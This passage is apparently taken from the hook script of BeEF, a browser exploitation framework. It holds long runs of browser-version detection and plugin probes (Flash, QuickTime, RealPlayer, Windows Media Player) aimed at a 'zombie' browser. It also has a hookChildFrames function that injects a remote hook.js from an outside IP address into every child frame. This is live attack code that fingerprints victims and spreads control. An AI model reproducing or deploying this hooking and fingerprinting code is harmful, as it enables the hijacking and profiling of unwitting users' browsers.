  6362. (/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
  6363. },
  6364.  
  6365. /**
  6366. * Returns true if Chrome 46.
  6367. * @example: beef.browser.isC46()
  6368. */
  6369. isC46: function () {
  6370. return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
  6371.  
  6372. window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
  6373.  
  6374. (/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
  6375. },
  6376.  
  6377. isC47: function () {
  6378. return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
  6379.  
  6380. window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
  6381.  
  6382. (/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
  6383. },
  6384.  
  6385. /**
  6386. * Returns true if Chrome for iOS 45.
  6387. * @example: beef.browser.isC45iOS()
  6388. */
  6389. isC45iOS: function () {
  6390. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6391.  
  6392. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
  6393. },
  6394.  
  6395. /**
  6396. * Returns true if Chrome.
  6397. * @example: beef.browser.isC()
  6398. */
  6399. isC: function () {
  6400. return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() ||
  6401.  
  6402. this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19
  6403.  
  6404. () || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() ||
  6405.  
  6406. this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS()
  6407.  
  6408. || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29()
  6409.  
  6410. || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() ||
  6411.  
  6412. this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS()
  6413.  
  6414. || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39()
  6415.  
  6416. || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() ||
  6417.  
  6418. this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC46() ||
  6419.  
  6420. this.isC47()|| this.isC45iOS();
  6421. },
  6422.  
  6423. /**
  6424. * Returns true if Opera 9.50 through 9.52.
  6425. * @example: beef.browser.isO9_52()
  6426. */
  6427. isO9_52: function () {
  6428. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
  6429. },
  6430.  
  6431. /**
  6432. * Returns true if Opera 9.60 through 9.64.
  6433. * @example: beef.browser.isO9_60()
  6434. */
  6435. isO9_60: function () {
  6436. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
  6437. },
  6438.  
  6439. /**
  6440. * Returns true if Opera 10.xx.
  6441. * @example: beef.browser.isO10()
  6442. */
  6443. isO10: function () {
  6444. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
  6445. },
  6446.  
  6447. /**
  6448. * Returns true if Opera 11.xx.
  6449. * @example: beef.browser.isO11()
  6450. */
  6451. isO11: function () {
  6452. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
  6453. },
  6454.  
  6455. /**
  6456. * Returns true if Opera 12.xx.
  6457. * @example: beef.browser.isO12()
  6458. */
  6459. isO12: function () {
  6460. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
  6461. },
  6462.  
  6463. /**
  6464. * Returns true if Opera.
  6465. * @example: beef.browser.isO()
  6466. */
  6467. isO: function () {
  6468. return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
  6469. },
  6470.  
  6471. /**
  6472. * Returns a hash of string keys representing a given capability
  6473. * @example: beef.browser.capabilities()["navigator.plugins"]
  6474. */
  6475. capabilities: function () {
  6476. var out = {};
  6477. var type = this.type();
  6478.  
  6479. out["navigator.plugins"] = (type.IE11 || !type.IE);
  6480.  
  6481. return out;
  6482. },
  6483.  
  6484. /**
  6485. * Returns the type of browser being used.
  6486. * @example: beef.browser.type().IE6
  6487. * @example: beef.browser.type().FF
  6488. * @example: beef.browser.type().O
  6489. */
  6490. type: function () {
  6491.  
  6492. return {
  6493. C5: this.isC5(), // Chrome 5
  6494. C6: this.isC6(), // Chrome 6
  6495. C7: this.isC7(), // Chrome 7
  6496. C8: this.isC8(), // Chrome 8
  6497. C9: this.isC9(), // Chrome 9
  6498. C10: this.isC10(), // Chrome 10
  6499. C11: this.isC11(), // Chrome 11
  6500. C12: this.isC12(), // Chrome 12
  6501. C13: this.isC13(), // Chrome 13
  6502. C14: this.isC14(), // Chrome 14
  6503. C15: this.isC15(), // Chrome 15
  6504. C16: this.isC16(), // Chrome 16
  6505. C17: this.isC17(), // Chrome 17
  6506. C18: this.isC18(), // Chrome 18
  6507. C19: this.isC19(), // Chrome 19
  6508. C19iOS: this.isC19iOS(), // Chrome 19 on iOS
  6509. C20: this.isC20(), // Chrome 20
  6510. C20iOS: this.isC20iOS(), // Chrome 20 on iOS
  6511. C21: this.isC21(), // Chrome 21
  6512. C21iOS: this.isC21iOS(), // Chrome 21 on iOS
  6513. C22: this.isC22(), // Chrome 22
  6514. C22iOS: this.isC22iOS(), // Chrome 22 on iOS
  6515. C23: this.isC23(), // Chrome 23
  6516. C23iOS: this.isC23iOS(), // Chrome 23 on iOS
  6517. C24: this.isC24(), // Chrome 24
  6518. C24iOS: this.isC24iOS(), // Chrome 24 on iOS
  6519. C25: this.isC25(), // Chrome 25
  6520. C25iOS: this.isC25iOS(), // Chrome 25 on iOS
  6521. C26: this.isC26(), // Chrome 26
  6522. C26iOS: this.isC26iOS(), // Chrome 26 on iOS
  6523. C27: this.isC27(), // Chrome 27
  6524. C27iOS: this.isC27iOS(), // Chrome 27 on iOS
  6525. C28: this.isC28(), // Chrome 28
  6526. C28iOS: this.isC28iOS(), // Chrome 28 on iOS
  6527. C29: this.isC29(), // Chrome 29
  6528. C29iOS: this.isC29iOS(), // Chrome 29 on iOS
  6529. C30: this.isC30(), // Chrome 30
  6530. C30iOS: this.isC30iOS(), // Chrome 30 on iOS
  6531. C31: this.isC31(), // Chrome 31
  6532. C31iOS: this.isC31iOS(), // Chrome 31 on iOS
  6533. C32: this.isC32(), // Chrome 32
  6534. C32iOS: this.isC32iOS(), // Chrome 32 on iOS
  6535. C33: this.isC33(), // Chrome 33
  6536. C33iOS: this.isC33iOS(), // Chrome 33 on iOS
  6537. C34: this.isC34(), // Chrome 34
  6538. C34iOS: this.isC34iOS(), // Chrome 34 on iOS
  6539. C35: this.isC35(), // Chrome 35
  6540. C35iOS: this.isC35iOS(), // Chrome 35 on iOS
  6541. C36: this.isC36(), // Chrome 36
  6542. C36iOS: this.isC36iOS(), // Chrome 36 on iOS
  6543. C37: this.isC37(), // Chrome 37
  6544. C37iOS: this.isC37iOS(), // Chrome 37 on iOS
  6545. C38: this.isC38(), // Chrome 38
  6546. C38iOS: this.isC38iOS(), // Chrome 38 on iOS
  6547. C39: this.isC39(), // Chrome 39
  6548. C39iOS: this.isC39iOS(), // Chrome 39 on iOS
  6549. C40: this.isC40(), // Chrome 40
  6550. C40iOS: this.isC40iOS(), // Chrome 40 on iOS
  6551. C41: this.isC41(), // Chrome 41
  6552. C41iOS: this.isC41iOS(), // Chrome 41 on iOS
  6553. C42: this.isC42(), // Chrome 42
  6554. C42iOS: this.isC42iOS(), // Chrome 42 on iOS
  6555. C43: this.isC43(), // Chrome 43
  6556. C43iOS: this.isC43iOS(), // Chrome 43 on iOS
  6557. C44: this.isC44(), // Chrome 44
  6558. C44iOS: this.isC44iOS(), // Chrome 44 on iOS
  6559. C45: this.isC45(), // Chrome 45
  6560. C46: this.isC46(), // Chrome 46
  6561. C47: this.isC47(), // Chrome 46
  6562. C45iOS: this.isC45iOS(), // Chrome 45 on iOS
  6563.  
  6564. C: this.isC(), // Chrome any version
  6565.  
  6566. FF2: this.isFF2(), // Firefox 2
  6567. FF3: this.isFF3(), // Firefox 3
  6568. FF3_5: this.isFF3_5(), // Firefox 3.5
  6569. FF3_6: this.isFF3_6(), // Firefox 3.6
  6570. FF4: this.isFF4(), // Firefox 4
  6571. FF5: this.isFF5(), // Firefox 5
  6572. FF6: this.isFF6(), // Firefox 6
  6573. FF7: this.isFF7(), // Firefox 7
  6574. FF8: this.isFF8(), // Firefox 8
  6575. FF9: this.isFF9(), // Firefox 9
  6576. FF10: this.isFF10(), // Firefox 10
  6577. FF11: this.isFF11(), // Firefox 11
  6578. FF12: this.isFF12(), // Firefox 12
  6579. FF13: this.isFF13(), // Firefox 13
  6580. FF14: this.isFF14(), // Firefox 14
  6581. FF15: this.isFF15(), // Firefox 15
  6582. FF16: this.isFF16(), // Firefox 16
  6583. FF17: this.isFF17(), // Firefox 17
  6584. FF18: this.isFF18(), // Firefox 18
  6585. FF19: this.isFF19(), // Firefox 19
  6586. FF20: this.isFF20(), // Firefox 20
  6587. FF21: this.isFF21(), // Firefox 21
  6588. FF22: this.isFF22(), // Firefox 22
  6589. FF23: this.isFF23(), // Firefox 23
  6590. FF24: this.isFF24(), // Firefox 24
  6591. FF25: this.isFF25(), // Firefox 25
  6592. FF26: this.isFF26(), // Firefox 26
  6593. FF27: this.isFF27(), // Firefox 27
  6594. FF28: this.isFF28(), // Firefox 28
  6595. FF29: this.isFF29(), // Firefox 29
  6596. FF30: this.isFF30(), // Firefox 30
  6597. FF31: this.isFF31(), // Firefox 31
  6598. FF32: this.isFF32(), // Firefox 32
  6599. FF33: this.isFF33(), // Firefox 33
  6600. FF34: this.isFF34(), // Firefox 34
  6601. FF35: this.isFF35(), // Firefox 35
  6602. FF36: this.isFF36(), // Firefox 36
  6603. FF37: this.isFF37(), // Firefox 37
  6604. FF38: this.isFF38(), // Firefox 38
  6605. FF39: this.isFF39(), // Firefox 39
  6606. FF40: this.isFF40(), // Firefox 40
  6607. FF41: this.isFF41(), // Firefox 41
  6608. FF42: this.isFF42(), // Firefox 42
  6609. FF43: this.isFF43(), // Firefox 43
  6610. FF: this.isFF(), // Firefox any version
  6611.  
  6612. IE6: this.isIE6(), // Internet Explorer 6
  6613. IE7: this.isIE7(), // Internet Explorer 7
  6614. IE8: this.isIE8(), // Internet Explorer 8
  6615. IE9: this.isIE9(), // Internet Explorer 9
  6616. IE10: this.isIE10(), // Internet Explorer 10
  6617. IE11: this.isIE11(), // Internet Explorer 11
  6618. IE: this.isIE(), // Internet Explorer any version
  6619.  
  6620. O9_52: this.isO9_52(), // Opera 9.50 through 9.52
  6621. O9_60: this.isO9_60(), // Opera 9.60 through 9.64
  6622. O10: this.isO10(), // Opera 10.xx
  6623. O11: this.isO11(), // Opera 11.xx
  6624. O12: this.isO12(), // Opera 12.xx
  6625. O: this.isO(), // Opera any version
  6626.  
  6627. S4: this.isS4(), // Safari 4.xx
  6628. S5: this.isS5(), // Safari 5.xx
  6629. S6: this.isS6(), // Safari 6.x
  6630. S7: this.isS7(), // Safari 7.x
  6631. S8: this.isS8(), // Safari 8.x
  6632. S: this.isS() // Safari any version
  6633. }
  6634. },
  6635.  
  6636. /**
  6637. * Returns the type of browser being used.
  6638. * @return: {String} User agent software and version.
  6639. *
  6640. * @example: beef.browser.getBrowserVersion()
  6641. */
  6642. getBrowserVersion: function () {
  6643.  
  6644. if (this.isC5()) {
  6645. return '5'
  6646. }
  6647. ; // Chrome 5
  6648. if (this.isC6()) {
  6649. return '6'
  6650. }
  6651. ; // Chrome 6
  6652. if (this.isC7()) {
  6653. return '7'
  6654. }
  6655. ; // Chrome 7
  6656. if (this.isC8()) {
  6657. return '8'
  6658. }
  6659. ; // Chrome 8
  6660. if (this.isC9()) {
  6661. return '9'
  6662. }
  6663. ; // Chrome 9
  6664. if (this.isC10()) {
  6665. return '10'
  6666. }
  6667. ; // Chrome 10
  6668. if (this.isC11()) {
  6669. return '11'
  6670. }
  6671. ; // Chrome 11
  6672. if (this.isC12()) {
  6673. return '12'
  6674. }
  6675. ; // Chrome 12
  6676. if (this.isC13()) {
  6677. return '13'
  6678. }
  6679. ; // Chrome 13
  6680. if (this.isC14()) {
  6681. return '14'
  6682. }
  6683. ; // Chrome 14
  6684. if (this.isC15()) {
  6685. return '15'
  6686. }
  6687. ; // Chrome 15
  6688. if (this.isC16()) {
  6689. return '16'
  6690. }
  6691. ; // Chrome 16
  6692. if (this.isC17()) {
  6693. return '17'
  6694. }
  6695. ; // Chrome 17
  6696. if (this.isC18()) {
  6697. return '18'
  6698. }
  6699. ; // Chrome 18
  6700. if (this.isC19()) {
  6701. return '19'
  6702. }
  6703. ; // Chrome 19
  6704. if (this.isC19iOS()) {
  6705. return '19'
  6706. }
  6707. ; // Chrome 19 for iOS
  6708. if (this.isC20()) {
  6709. return '20'
  6710. }
  6711. ; // Chrome 20
  6712. if (this.isC20iOS()) {
  6713. return '20'
  6714. }
  6715. ; // Chrome 20 for iOS
  6716. if (this.isC21()) {
  6717. return '21'
  6718. }
  6719. ; // Chrome 21
  6720. if (this.isC21iOS()) {
  6721. return '21'
  6722. }
  6723. ; // Chrome 21 for iOS
  6724. if (this.isC22()) {
  6725. return '22'
  6726. }
  6727. ; // Chrome 22
  6728. if (this.isC22iOS()) {
  6729. return '22'
  6730. }
  6731. ; // Chrome 22 for iOS
  6732. if (this.isC23()) {
  6733. return '23'
  6734. }
  6735. ; // Chrome 23
  6736. if (this.isC23iOS()) {
  6737. return '23'
  6738. }
  6739. ; // Chrome 23 for iOS
  6740. if (this.isC24()) {
  6741. return '24'
  6742. }
  6743. ; // Chrome 24
  6744. if (this.isC24iOS()) {
  6745. return '24'
  6746. }
  6747. ; // Chrome 24 for iOS
  6748. if (this.isC25()) {
  6749. return '25'
  6750. }
  6751. ; // Chrome 25
  6752. if (this.isC25iOS()) {
  6753. return '25'
  6754. }
  6755. ; // Chrome 25 for iOS
  6756. if (this.isC26()) {
  6757. return '26'
  6758. }
  6759. ; // Chrome 26
  6760. if (this.isC26iOS()) {
  6761. return '26'
  6762. }
  6763. ; // Chrome 26 for iOS
  6764. if (this.isC27()) {
  6765. return '27'
  6766. }
  6767. ; // Chrome 27
  6768. if (this.isC27iOS()) {
  6769. return '27'
  6770. }
  6771. ; // Chrome 27 for iOS
  6772. if (this.isC28()) {
  6773. return '28'
  6774. }
  6775. ; // Chrome 28
  6776. if (this.isC28iOS()) {
  6777. return '28'
  6778. }
  6779. ; // Chrome 28 for iOS
  6780. if (this.isC29()) {
  6781. return '29'
  6782. }
  6783. ; // Chrome 29
  6784. if (this.isC29iOS()) {
  6785. return '29'
  6786. }
  6787. ; // Chrome 29 for iOS
  6788. if (this.isC30()) {
  6789. return '30'
  6790. }
  6791. ; // Chrome 30
  6792. if (this.isC30iOS()) {
  6793. return '30'
  6794. }
  6795. ; // Chrome 30 for iOS
  6796. if (this.isC31()) {
  6797. return '31'
  6798. }
  6799. ; // Chrome 31
  6800. if (this.isC31iOS()) {
  6801. return '31'
  6802. }
  6803. ; // Chrome 31 for iOS
  6804. if (this.isC32()) {
  6805. return '32'
  6806. }
  6807. ; // Chrome 32
  6808. if (this.isC32iOS()) {
  6809. return '32'
  6810. }
  6811. ; // Chrome 32 for iOS
  6812. if (this.isC33()) {
  6813. return '33'
  6814. }
  6815. ; // Chrome 33
  6816. if (this.isC33iOS()) {
  6817. return '33'
  6818. }
  6819. ; // Chrome 33 for iOS
  6820. if (this.isC34()) {
  6821. return '34'
  6822. }
  6823. ; // Chrome 34
  6824. if (this.isC34iOS()) {
  6825. return '34'
  6826. }
  6827. ; // Chrome 34 for iOS
  6828. if (this.isC35()) {
  6829. return '35'
  6830. }
  6831. ; // Chrome 35
  6832. if (this.isC35iOS()) {
  6833. return '35'
  6834. }
  6835. ; // Chrome 35 for iOS
  6836. if (this.isC36()) {
  6837. return '36'
  6838. }
  6839. ; // Chrome 36
  6840. if (this.isC36iOS()) {
  6841. return '36'
  6842. }
  6843. ; // Chrome 36 for iOS
  6844. if (this.isC37()) {
  6845. return '37'
  6846. }
  6847. ; // Chrome 37
  6848. if (this.isC37iOS()) {
  6849. return '37'
  6850. }
  6851. ; // Chrome 37 for iOS
  6852. if (this.isC38()) {
  6853. return '38'
  6854. }
  6855. ; // Chrome 38
  6856. if (this.isC38iOS()) {
  6857. return '38'
  6858. }
  6859. ; // Chrome 38 for iOS
  6860. if (this.isC39()) {
  6861. return '39'
  6862. }
  6863. ; // Chrome 39
  6864. if (this.isC39iOS()) {
  6865. return '39'
  6866. }
  6867. ; // Chrome 39 for iOS
  6868. if (this.isC40()) {
  6869. return '40'
  6870. }
  6871. ; // Chrome 40
  6872. if (this.isC40iOS()) {
  6873. return '40'
  6874. }
  6875. ; // Chrome 40 for iOS
  6876. if (this.isC41()) {
  6877. return '41'
  6878. }
  6879. ; // Chrome 41
  6880. if (this.isC41iOS()) {
  6881. return '41'
  6882. }
  6883. ; // Chrome 41 for iOS
  6884. if (this.isC42()) {
  6885. return '42'
  6886. }
  6887. ; // Chrome 42
  6888. if (this.isC42iOS()) {
  6889. return '42'
  6890. }
  6891. ; // Chrome 42 for iOS
  6892. if (this.isC43()) {
  6893. return '43'
  6894. }
  6895. ; // Chrome 43
  6896. if (this.isC43iOS()) {
  6897. return '43'
  6898. }
  6899. ; // Chrome 43 for iOS
  6900. if (this.isC44()) {
  6901. return '44'
  6902. }
  6903. ; // Chrome 44
  6904. if (this.isC44iOS()) {
  6905. return '44'
  6906. }
  6907. ; // Chrome 44 for iOS
  6908. if (this.isC45()) {
  6909. return '45'
  6910. }
  6911. ; // Chrome 45
  6912. if (this.isC46()) {
  6913. return '46'
  6914. }
  6915. ;// Chrome 46
  6916. if (this.isC47()) {
  6917. return '47'
  6918. }
  6919. ;// Chrome 47
  6920. if (this.isC45iOS()) {
  6921. return '45'
  6922. }
  6923. ; // Chrome 45 for iOS
  6924.  
  6925. if (this.isFF2()) {
  6926. return '2'
  6927. }
  6928. ; // Firefox 2
  6929. if (this.isFF3()) {
  6930. return '3'
  6931. }
  6932. ; // Firefox 3
  6933. if (this.isFF3_5()) {
  6934. return '3.5'
  6935. }
  6936. ; // Firefox 3.5
  6937. if (this.isFF3_6()) {
  6938. return '3.6'
  6939. }
  6940. ; // Firefox 3.6
  6941. if (this.isFF4()) {
  6942. return '4'
  6943. }
  6944. ; // Firefox 4
  6945. if (this.isFF5()) {
  6946. return '5'
  6947. }
  6948. ; // Firefox 5
  6949. if (this.isFF6()) {
  6950. return '6'
  6951. }
  6952. ; // Firefox 6
  6953. if (this.isFF7()) {
  6954. return '7'
  6955. }
  6956. ; // Firefox 7
  6957. if (this.isFF8()) {
  6958. return '8'
  6959. }
  6960. ; // Firefox 8
  6961. if (this.isFF9()) {
  6962. return '9'
  6963. }
  6964. ; // Firefox 9
  6965. if (this.isFF10()) {
  6966. return '10'
  6967. }
  6968. ; // Firefox 10
  6969. if (this.isFF11()) {
  6970. return '11'
  6971. }
  6972. ; // Firefox 11
  6973. if (this.isFF12()) {
  6974. return '12'
  6975. }
  6976. ; // Firefox 12
  6977. if (this.isFF13()) {
  6978. return '13'
  6979. }
  6980. ; // Firefox 13
  6981. if (this.isFF14()) {
  6982. return '14'
  6983. }
  6984. ; // Firefox 14
  6985. if (this.isFF15()) {
  6986. return '15'
  6987. }
  6988. ; // Firefox 15
  6989. if (this.isFF16()) {
  6990. return '16'
  6991. }
  6992. ; // Firefox 16
  6993. if (this.isFF17()) {
  6994. return '17'
  6995. }
  6996. ; // Firefox 17
  6997. if (this.isFF18()) {
  6998. return '18'
  6999. }
  7000. ; // Firefox 18
  7001. if (this.isFF19()) {
  7002. return '19'
  7003. }
  7004. ; // Firefox 19
  7005. if (this.isFF20()) {
  7006. return '20'
  7007. }
  7008. ; // Firefox 20
  7009. if (this.isFF21()) {
  7010. return '21'
  7011. }
  7012. ; // Firefox 21
  7013. if (this.isFF22()) {
  7014. return '22'
  7015. }
  7016. ; // Firefox 22
  7017. if (this.isFF23()) {
  7018. return '23'
  7019. }
  7020. ; // Firefox 23
  7021. if (this.isFF24()) {
  7022. return '24'
  7023. }
  7024. ; // Firefox 24
  7025. if (this.isFF25()) {
  7026. return '25'
  7027. }
  7028. ; // Firefox 25
  7029. if (this.isFF26()) {
  7030. return '26'
  7031. }
  7032. ; // Firefox 26
  7033. if (this.isFF27()) {
  7034. return '27'
  7035. }
  7036. ; // Firefox 27
  7037. if (this.isFF28()) {
  7038. return '28'
  7039. }
  7040. ; // Firefox 28
  7041. if (this.isFF29()) {
  7042. return '29'
  7043. }
  7044. ; // Firefox 29
  7045. if (this.isFF30()) {
  7046. return '30'
  7047. }
  7048. ; // Firefox 30
  7049. if (this.isFF31()) {
  7050. return '31'
  7051. }
  7052. ; // Firefox 31
  7053. if (this.isFF32()) {
  7054. return '32'
  7055. }
  7056. ; // Firefox 32
  7057. if (this.isFF33()) {
  7058. return '33'
  7059. }
  7060. ; // Firefox 33
  7061. if (this.isFF34()) {
  7062. return '34'
  7063. }
  7064. ; // Firefox 34
  7065. if (this.isFF35()) {
  7066. return '35'
  7067. }
  7068. ; // Firefox 35
  7069. if (this.isFF36()) {
  7070. return '36'
  7071. }
  7072. ; // Firefox 36
  7073. if (this.isFF37()) {
  7074. return '37'
  7075. }
  7076. ; // Firefox 37
  7077. if (this.isFF38()) {
  7078. return '38'
  7079. }
  7080. ; // Firefox 38
  7081. if (this.isFF39()) {
  7082. return '39'
  7083. }
  7084. ; // Firefox 39
  7085. if (this.isFF40()) {
  7086. return '40'
  7087. }
  7088. ; // Firefox 40
  7089. if (this.isFF41()) {
  7090. return '41'
  7091. }
  7092. ; // Firefox 41
  7093. if (this.isFF42()) {
  7094. return '42'
  7095. }
  7096. ; // Firefox 42
  7097. if (this.isFF43()) {
  7098. return '43'
  7099. }
  7100. ; // Firefox 43
  7101.  
  7102. if (this.isIE6()) {
  7103. return '6'
  7104. }
  7105. ; // Internet Explorer 6
  7106. if (this.isIE7()) {
  7107. return '7'
  7108. }
  7109. ; // Internet Explorer 7
  7110. if (this.isIE8()) {
  7111. return '8'
  7112. }
  7113. ; // Internet Explorer 8
  7114. if (this.isIE9()) {
  7115. return '9'
  7116. }
  7117. ; // Internet Explorer 9
  7118. if (this.isIE10()) {
  7119. return '10'
  7120. }
  7121. ; // Internet Explorer 10
  7122. if (this.isIE11()) {
  7123. return '11'
  7124. }
  7125. ; // Internet Explorer 11
  7126.  
  7127. if (this.isS4()) {
  7128. return '4'
  7129. }
  7130. ; // Safari 4
  7131. if (this.isS5()) {
  7132. return '5'
  7133. }
  7134. ; // Safari 5
  7135. if (this.isS6()) {
  7136. return '6'
  7137. }
  7138. ; // Safari 6
  7139.  
  7140. if (this.isS7()) {
  7141. return '7'
  7142. }
  7143. ; // Safari 7
  7144. if (this.isS8()) {
  7145. return '8'
  7146. }
  7147. ; // Safari 8
  7148.  
  7149. if (this.isO9_52()) {
  7150. return '9.5'
  7151. }
  7152. ; // Opera 9.5x
  7153. if (this.isO9_60()) {
  7154. return '9.6'
  7155. }
  7156. ; // Opera 9.6
  7157. if (this.isO10()) {
  7158. return '10'
  7159. }
  7160. ; // Opera 10.xx
  7161. if (this.isO11()) {
  7162. return '11'
  7163. }
  7164. ; // Opera 11.xx
  7165. if (this.isO12()) {
  7166. return '12'
  7167. }
  7168. ; // Opera 12.xx
  7169.  
  7170. return 'UNKNOWN'; // Unknown UA
  7171. },
  7172.  
  7173. /**
  7174. * Returns the type of user agent by hooked browser.
  7175. * @return: {String} User agent software.
  7176. *
  7177. * @example: beef.browser.getBrowserName()
  7178. */
  7179. getBrowserName: function () {
  7180.  
  7181. if (this.isC()) {
  7182. return 'C'
  7183. }
  7184. ; // Chrome any version
  7185. if (this.isFF()) {
  7186. return 'FF'
  7187. }
  7188. ; // Firefox any version
  7189. if (this.isIE()) {
  7190. return 'IE'
  7191. }
  7192. ; // Internet Explorer any version
  7193. if (this.isO()) {
  7194. return 'O'
  7195. }
  7196. ; // Opera any version
  7197. if (this.isS()) {
  7198. return 'S'
  7199. }
  7200. ; // Safari any version
  7201. return 'UNKNOWN'; // Unknown UA
  7202. },
  7203.  
  7204. /**
  7205. * Hooks all child frames in the current window
  7206. * Restricted by same-origin policy
  7207. */
  7208. hookChildFrames: function () {
  7209.  
  7210. // create script object
  7211. var script = document.createElement('script');
  7212. script.type = 'text/javascript';
  7213. script.src = 'http://192.168.0.105:3000/hook.js';
  7214.  
  7215. // loop through child frames
  7216. for (var i = 0; i < self.frames.length; i++) {
  7217. try {
  7218. // append hook script
  7219. self.frames[i].document.body.appendChild(script);
  7220. beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
  7221. } catch (e) {
  7222. // warn on cross-origin
  7223. beef.debug("Hooking child frame failed: " + e.message);
  7224. }
  7225. }
  7226. },
  7227.  
  7228. /**
  7229. * Checks if the zombie has flash installed and enabled.
  7230. * @return: {Boolean} true or false.
  7231. *
  7232. * @example: if(beef.browser.hasFlash()) { ... }
  7233. */
  7234. hasFlash: function () {
  7235. if (!this.type().IE) {
  7236. return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
  7237. } else {
  7238. flash_versions = 12;
  7239. flash_installed = false;
  7240.  
  7241.  
  7242. if (this.type().IE11) {
  7243. flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
  7244. } else {
  7245. if (window.ActiveXObject != null) {
  7246. for (x = 2; x <= flash_versions; x++) {
  7247. try {
  7248. Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
  7249. if (Flash) {
  7250. flash_installed = true;
  7251. }
  7252. } catch (e) {
  7253. beef.debug("Creating Flash ActiveX object failed: " + e.message);
  7254. }
  7255. }
  7256. }
  7257. }
  7258. return flash_installed;
  7259. }
  7260. },
  7261.  
  7262. /**
  7263. * Checks if the zombie has the QuickTime plugin installed.
  7264. * @return: {Boolean} true or false.
  7265. *
  7266. * @example: if ( beef.browser.hasQuickTime() ) { ... }
  7267. */
  7268. hasQuickTime: function () {
  7269.  
  7270. var quicktime = false;
  7271.  
  7272. if (this.capabilities()["navigator.plugins"]) {
  7273.  
  7274. for (i = 0; i < navigator.plugins.length; i++) {
  7275.  
  7276. if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
  7277. quicktime = true;
  7278. }
  7279.  
  7280. }
  7281.  
  7282. // Has navigator.plugins
  7283. } else {
  7284.  
  7285. try {
  7286.  
  7287. var qt_test = new ActiveXObject('QuickTime.QuickTime');
  7288.  
  7289. } catch (e) {
  7290. beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
  7291. }
  7292.  
  7293. if (qt_test) {
  7294. quicktime = true;
  7295. }
  7296.  
  7297. }
  7298.  
  7299. return quicktime;
  7300.  
  7301. },
  7302.  
  7303. /**
  7304. * Checks if the zombie has the RealPlayer plugin installed.
  7305. * @return: {Boolean} true or false.
  7306. *
  7307. * @example: if ( beef.browser.hasRealPlayer() ) { ... }
  7308. */
  7309. hasRealPlayer: function () {
  7310.  
  7311. var realplayer = false;
  7312.  
  7313. if (this.capabilities()["navigator.plugins"]) {
  7314.  
  7315.  
  7316. for (i = 0; i < navigator.plugins.length; i++) {
  7317.  
  7318. if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
  7319. realplayer = true;
  7320. }
  7321.  
  7322. }
  7323.  
  7324. // has navigator.plugins
  7325. } else {
  7326.  
  7327. var definedControls = [
  7328. 'RealPlayer',
  7329. 'rmocx.RealPlayer G2 Control',
  7330. 'rmocx.RealPlayer G2 Control.1',
  7331. 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
  7332. 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
  7333. ];
  7334.  
  7335. for (var i = 0; i < definedControls.length; i++) {
  7336.  
  7337. try {
  7338. var rp_test = new ActiveXObject(definedControls[i]);
  7339. } catch (e) {
  7340. beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
  7341. }
  7342.  
  7343. if (rp_test) {
  7344. realplayer = true;
  7345.  
  7346. }
  7347. }
  7348. }
  7349.  
  7350. return realplayer;
  7351.  
  7352. },
  7353.  
  7354. /**
  7355. * Checks if the zombie has the Windows Media Player plugin installed.
  7356. * @return: {Boolean} true or false.
  7357. *
  7358. * @example: if ( beef.browser.hasWMP() ) { ... }
  7359. */
  7360. hasWMP: function () {
  7361.  
  7362. var wmp = false;
  7363.  
  7364. if (this.capabilities()["navigator.plugins"]) {
  7365.  
  7366.  
  7367. for (i = 0; i < navigator.plugins.length; i++) {
  7368.  
  7369. if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
  7370. wmp = true;
  7371. }
  7372.  
  7373. }
  7374.  
  7375. // Has navigator.plugins
  7376. } else {
  7377.  
  7378. try {
  7379.  
  7380. var wmp_test = new ActiveXObject('WMPlayer.OCX');
  7381.  
  7382. } catch (e) {
  7383. beef.debug("Creating WMP ActiveX object failed: " + e.message);
  7384. }
  7385.  
  7386. if (wmp_test) {
  7387. wmp = true;
  7388. }
  7389.  
  7390. }
  7391.  
  7392. return wmp;
  7393.  
  7394. },
  7395.  
  7396. /**
  7397. * Checks if VLC is installed
  7398. * @return: {Boolean} true or false
  7399. **/
